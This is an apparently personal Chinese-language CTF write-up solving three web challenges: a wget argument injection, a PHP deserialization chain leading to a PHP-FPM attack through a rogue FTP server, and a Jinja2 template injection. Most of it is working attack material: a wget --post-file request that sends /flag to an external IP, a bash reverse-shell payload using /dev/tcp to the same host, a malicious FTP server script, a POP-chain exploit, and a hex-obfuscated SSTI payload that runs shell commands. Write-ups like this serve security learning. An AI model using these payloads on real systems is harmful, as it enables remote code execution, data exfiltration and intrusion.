CheckIN

是个go的文件,发现了/wget路由可以执行wget命令,接收的参数可以是个数组

image-20211116141624569

利用wget的参数外带flag

/wget?argv=1&agrv=--post-file&argv=/flag&agrv=http://101.35.114.107:8426/

image-20211116142102694

eaaasyphp

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}


class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

这个题,怎么说 还是我太年轻了 我以为这个就是简单的反序列化+shell写入,然后非常的疑惑为啥本地可以但是远程的shell死活就是不落地,一直在想怎么绕过,这是当时尝试的exp.php

<?php
class Check {
    public static $str1 = false;
    public static $str2 = false;
}
class Esle {
    public $str3;
}
class Bunny {
    public $filename;
    public $data;
}
class Welcome {
    public $username;
}
class Bypass {
    public $str4;
}

$check = new Check();
$esle = new Esle();
$bypass = new Bypass();
$welcome = new Welcome();
$bunny = new Bunny();

$esle -> str3 = $bypass;
// $bypass -> str4 = 'phpinfo';
$bypass -> str4 = $welcome;
$welcome -> username = $bunny;
$bunny -> filename = "op.php";
$bunny -> data = "xyz"

$payload = serialize($esle);
echo $payload;

直到赛后才知道这又又又是fpm,需要用ftp打fpm,具体的内容我最近也正在总结,可以参见->攻击 PHP-FPM 学习笔记(还没全部收尾)

首先是依据p牛的脚本生成一个urlencode的payload(这里引号有问题的话直接改脚本吧)

$ python fpm.py 127.0.0.1 '/var/www/html/index.php' -c '<?php exec("bash -c \'/bin/bash -i >& /dev/tcp/101.35.114.107/8426 0>&1\'");?>'

然后开一个恶意的ftp-server

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8001))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
print("endd")

修改之前的反序列化exp

<?php
class Bunny{
    public function __construct(){
        $this->data = urldecode('xxxxxxxxxxxxxxxxxx');
        $this->filename = "ftp://101.35.114.107:8001/aaa";
    }
}

class Welcome{
    public function __construct(){
        $this->username = new Bunny();
    }
}

class Bypass{
    public function __construct(){
        $this->str4 = new Welcome();
    }
}

class Esle{
}

echo urlencode(serialize(array(new Esle(), new Bypass())));

get方式传入,同时vps上开一个ftp-server和一个监听反弹shell的端口,即可拿flag

image-20211116141329800

MagicMail

原题,ssti套壳,参见->[DeconstruCTF 2021]Mega Mailer,但是比赛的时候我没出,是我的问题,平时拿现成的payload梭惯了,自己构造的时候就露了怯

payload的构造参见->Jinja2 SSTI filter bypasses,使用attr()+hex字符串的方式把基础payload给拼出来

sender=&receiver=&subject=&message={{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(180)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x65\x76\x61\x6c")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29\x2e\x72\x65\x61\x64\x28\x29")}}
# 原本的样子
().__class__.__base__.subclasses()[180].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")